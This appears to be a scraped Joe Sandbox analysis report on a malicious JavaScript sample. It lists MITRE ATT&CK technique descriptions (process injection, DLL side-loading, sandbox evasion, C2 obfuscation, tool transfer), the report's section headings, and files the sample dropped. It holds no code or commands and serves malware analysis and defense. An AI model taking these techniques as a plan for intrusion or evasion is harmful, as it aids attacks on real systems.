Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27344289642108220053.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\95213f5d-a288-4969-aa4c-6fe76c814ccb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF40f99b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f61dd91a-2b61-4f48-b14a-8d9562be0a71.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3796

Windows Analysis Report
27344289642108220053.js